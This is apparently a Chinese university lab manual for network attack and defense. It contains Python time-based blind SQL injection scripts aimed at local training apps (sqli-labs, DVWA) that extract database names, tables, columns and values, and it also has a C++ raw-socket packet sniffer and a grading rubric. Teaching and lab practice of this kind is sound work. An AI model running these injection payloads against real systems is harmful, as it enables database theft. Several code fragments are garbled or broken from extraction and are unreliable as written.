

网络攻防实验说明书

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1 实验需求

实验一 安全攻防实验

需求：对存在 SQL 注入漏洞的平台进行注入攻击，获取数据库内内容

- 1) 实现基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入、宽字节注入，并尽可能使用脚本实现其功能；
- 2) 使用 UI 控件将结果可视化展示；
- 3) 开发环境需求：Windows 平台，语言平台不限。

实验二 安全监控实验

需求：应用层实现本机指定网络端口的通信监听

- 1) 实现监听网络连接所使用的协议、源 IP 地址、目标 IP 地址等信息的功能
- 2) 将监听内容在 UI 控件中显示。
- 3) 开发环境需求：Windows 平台，开发语言不限。

2 关键技术实现

2.1 安全攻防实验

基本设计原理(以基于时间盲注为例):

- 1) 按 request 模块格式要求构建 http 报文头(非必要);
- 2) 找到注入点, 并通过 sleep() 函数逐字节获取目标信息(如数据库版本、库名、表名、字段名、数据等);
- 3) 保存注入得到的信息, 并在 UI 控件中展示。重要功能代码部分如下所示。

```
# coding:utf-8

import requests

import datetime

import time

# 获取数据库名长度

def database_len():

    for i in range(1, 10):

        url = "http://127.0.0.1/sqli-labs/Less-9/index.php"

        payload = "'?id=1' and if(length(database())>%s,sleep(1),0)" % i

        # print(url+payload+'%23')

        time1 = datetime.datetime.now()

        r = requests.get(url + payload + '%23')

        time2 = datetime.datetime.now()

        sec = (time2 - time1).seconds

        if sec >= 1:
```

```

        print(i)

    else:

        print(i)

        break

    print('database_len:', i)

database_len()

#获取数据库名

def database_name():

    name = ""

    for j in range(1, 9):

        for i in '0123456789abcdefghijklmnopqrstuvwxyz':

            url = "http://127.0.0.1/sqli-labs/Less-9/index.php"

            payload = "'?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1)'" % (

                j, i)

            # print(url+payload+'%23')

            time1 = datetime.datetime.now()

            r = requests.get(url + payload + '%23')

            time2 = datetime.datetime.now()

            sec = (time2 - time1).seconds

            if sec >= 1:

                name += i

                print(name)

                break

    print('database_name:', name)

database_name()

```

#获取表名

```
def getTables(table_schema):
```

```
    payloads =
```

```
    ',rotabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
```

```
    @_.{*}#区分大小写的
```

```
    flag = ""
```

```
    key=0
```

```
    print("Start")
```

```
    for i in range(1,5000):
```

```
        if key == 1:
```

```
            break
```

```
        for payload in payloads:
```

```
            starttime = time.time()#记录当前时间
```

```
            #print ("test letter is:%s"%payload)
```

```
            url = "1' and if((substr((select group_concat(table_name) from  
information_schema.tables where
```

```
table_schema='%s'),%s,1)='%s'),sleep(5),sleep(0))#&&Submit=Submit#"%(table_sche  
ma,i,payload)#全部表名
```

```
            url = url.replace(',', '%2C')
```

```
            url = url.replace('=', '%3D',1)
```

```
            url = url.replace('#', '%23',1)
```

```
            url = "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id="+url
```

```
            url = url.replace(' ', '%20')
```

```
            url = url.replace("'", '%27')
```

```

res = requests.get(url, headers=headers)

if time.time() - starttime >= 5:

    flag += payload

    print("Table is:%s"%flag)

    break

else:

    if payload == '*':

        key = 1

        break

print('[Finally] all_table is %s'% flag)


#获取字段名

def getColumns(table_name):

    payloads =
    'rotabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
    @_.*()* '#区分大小写的

    flag = ""

    key=0

    print("Start")

    for i in range(1,5000):

        if key == 1:

            break

        for payload in payloads:

            starttime = time.time()#记录当前时间

```

```

# print ("test letter is:%s"%payload)

url = "1' and if((substr((select group_concat(column_name) from
information_schema.columns where
table_name='%s'),%s,1)='%s'),sleep(5),sleep(0))#&&Submit=Submit#"%(table_name,i
,payload)#全部列名

url = url.replace("'",'%2C')

url = url.replace('=','%3D',1)

url = url.replace('#','%23',1)

url = "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id="+url

url = url.replace(' ', '%20')

url = url.replace("'", '%27')

res = requests.get(url, headers=headers)

if time.time() - starttime >= 5:

    flag += payload

    print("column_name is:%s"%flag)

    break

else:

    if payload == '*':

        key = 1

        break

print('[Finally] column_name is %s'% flag)

```


#获取表内字段值

```
def getColumn_value(column_name,table_name):
```

```
    payloads =
```

```
    ',rotabcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
```

```
    @_.{}*() '#区分大小写的
```

```
    flag = ""
```

```
    key=0
```

```
    print("Start")
```

```
    for i in range(1,5000):
```

```
        if key == 1:
```

```
            break
```

```
        for payload in payloads:
```

```
            starttime = time.time()#记录当前时间
```

```
            #print ("test letter is:%s"%payload)
```

```
            url = "1' and if((substr((select group_concat(%s)
from %s),%s,1)='%s'),sleep(5),sleep(0))#&Submit=Submit#"%(column_name,table_na
me,i,payload)#全部列名
```

```
            url = url.replace("'",'%2C')
```

```
            url = url.replace('=','%3D',1)
```

```
            url = url.replace('#','%23',1)
```

```
            url = url.replace('(',')','%28')
```

```
            url = url.replace('','%29')
```

```
            url = "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id="+url
```

```
            url = url.replace(' ','+')
```

```
url = url.replace("'", '%27')
```

```
#print ("test url is %s\n"%url)
```

```
#1' and if((substr((select group_concat(user_id) from  
users),1,1)='1'),sleep(5),sleep(0))#
```

```
res = requests.get(url, headers=headers)
```

```
if time.time() - starttime >= 5:
```

```
    flag += payload
```

```
    print("value is:%s"%flag)
```

```
    break
```

```
else:
```

```
    if payload == '*':
```

```
        key = 1
```

```
        break
```

```
print('[Finally] value is %s'% flag)
```

2.2 安全监控实验

基本设计原理：

- 1) 构建监听线程，并设置轮询时钟；
- 2) 创建监听 SOCKET，并设置网卡和 SOCKET 为混杂模式；
- 3) 解析侦听到的 IP 数据报文。重要功能代码部分如下所示。

//线程函数

```
UINT ThreadFun( LPVOID pParam )
{
    CSniffAppDlg* pDlg = static_cast<CSniffAppDlg*>(pParam); MSG
    msg;
    char buffer[1000],sourceip[32],*tempbuf; char
    *ptemp;
    BYTE* pData = NULL; //实际数据报中的数据
    UINT sourceport ;
    CString str;
    HEADIP* pHeadIP;
    HEADICMP* pHeadICMP;
    HEADUDP* pHeadUDP; HEADTCP*
    pHeadTCP;
    in_addr addr; int
    ret;
    while (TRUE)
    { pData =
    NULL; if
    (PeekMessage(&msg,pDlg->m_hWnd,WM_CLOSE,WM_CLOSE,PM_NOREMOV
    E )) {
```

```

    closesocket(pDlg->m_Sock);
break; }
memset(buffer,0,1000);
ret = recv(pDlg->m_Sock,buffer,1000,0);

if (ret == SOCKET_ERROR)
{ continue;
}
else //接收到数据
{
    tempbuf = buffer; pHeadIP =
(HEADIP*)tempbuf;
    //获取数据报总长度
    WORD len = ntohs(pHeadIP->totallen);

    //获取源 IP
    pDlg->m_List.InsertItem(pDlg->m_List.GetItemCount(),"");
    addr.S_un.S_addr = pHeadIP->sourceIP; ptemp =
inet_ntoa(addr);

    pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,1,ptemp);

    //获取目的 IP
    addr.S_un.S_addr = pHeadIP->destIP; ptemp
= inet_ntoa(addr);

    pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,2,ptemp); //获取
协议名称
    ptemp = get_protoname(pHeadIP->proto); strcpy(sourceip,ptemp);
    pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,0,sourceip);

```

```

//获取 IP 数据报总长度
WORD ipSumLen = ntohs(pHeadIP->totallen);

//IP 数据报头总长度
int ipHeadLen = 20;

//获得去除 IP 层数据的长度
WORD netlen = ipSumLen - ipHeadLen;

//根据不同协议获得不同协议的数据
switch (pHeadIP->proto)
{
case
IPPROTO_ICMP:
{
pHeadICMP = (HEADICMP*)(tempbuf+20);

pData = (BYTE*)(pHeadICMP)+4; //ICMP 数据报头共 4 个字节
//获取数据的长度
netlen -= 4;
break; }
case
IPPROTO_UDP:
{
pHeadUDP = (HEADUDP*)(tempbuf+20);
pData = (BYTE*)pHeadUDP+8; //UDP 数据报头共 8 个字节
sourceport = ntohs(pHeadUDP->SourcePort); str.Format("%d",sourceport);
//设置源端口
pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,3,str);
str.Empty(); netlen -= 8; break; }
case IPPROTO_TCP:
{
pHeadTCP = (HEADTCP*)(tempbuf+20);

```

```

sourceport = ntohs(pHeadTCP->SourcePort);

pData = (BYTE*)pHeadTCP+20; //TCP 数据报头共 20 个字节
str.Format("%d",sourceport);

//设置源端口

pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,3,str);
str.Empty(); netlen-= 20; break; }

}

//设置数据大小
str.Format("%d",netlen);

pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,4,str); str.Empty();

//设置数据
if (pData != NULL)
{
    str.Format(" %s",pData);
    pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,5,str);
} str.Empty();
} }

return
0; }

void CSniffAppDlg::OnBeginlisten()
{
    //创建套接字
    m_Sock = socket(AF_INET,SOCK_RAW, IPPROTO_IP );
    char name[128]; memset(name,0,128); hostent* phostent;
    phostent = gethostbyname(name); DWORD ip;
    ip = inet_addr(inet_ntoa(*(in_addr*)phostent->h_addr_list[0])); int
    timeout = 4000; //超时 4 秒

    //设置接收数据的超时时间
    setsockopt(m_Sock,SOL_SOCKET,SO_RCVTIMEO,(const
char*)&timeout,sizeof(timeout)); sockaddr_in skaddr;

```

```

skaddr.sin_family = AF_INET; skaddr.sin_port = htons(700);
skaddr.sin_addr.S_un.S_addr = ip;

//绑定地址

if ( bind(m_Sock,(sockaddr*)&skaddr,sizeof(skaddr))==SOCKET_ERROR)
{
    MessageBox("地址绑定错误");
    return;
}

DWORD inBuffer=1;

DWORD outBuffer[10]; DWORD

reValue = 0;

if
(WSAIoctl(m_Sock,SIO_RCVALL,&inBuffer,sizeof(inBuffer),&outBuffer,sizeof(out
Buffer),&reValue,NULL,NULL)==SOCKET_ERROR)
{
    MessageBox("设置缓冲区错误.");
    closesocket(m_Sock);
    return; } else
    m_pThread = AfxBeginThread(ThreadFun,(void*)this);
}

void CSniffAppDlg::OnCancel()
{ if
(m_pThread)
{
    //m_pThread->ExitInstance(); delete
m_pThread;
}

closesocket( m_Sock );

CDialog::OnCancel();
}

```

3 考核指标

- 1) 了解涉密信息系统数据安全、通信安全和分级管控的基本设计原理、系统实现方法和技术
- 2) 熟悉所用的开发环境，独立完成开发环境的搭建，掌握开发流程
- 3) 分层理解文件、单机、网络信息保密的技术实现差别和途径。

附：

考核指标明细表

考核内容	考核指标要点	A(优秀)	B(通过)	C(未通过)
网络攻防	判断是否存在注入漏洞	完成基本功能，程序代码测试通过；实现流程合理，可复用性高；能对程序的执行过程和操作流程做出具体的解释和说明。	完成基本功能，程序代码测试通过。	未完成基本功能，程序代码测试未通过。
	脚本自动化程度			
	UI 设计			

网络监听	通信侦听	完成基本功能，程序代码测试通过；能对执行过程和操作流程做出解释和说明；对多线程处理、反向地对通信安全保障技术有拓展理解和应用。	完成基本功能，程序代码测试通过。	未完成基本功能，程序代码测试未通过。
	IP 数据包解析			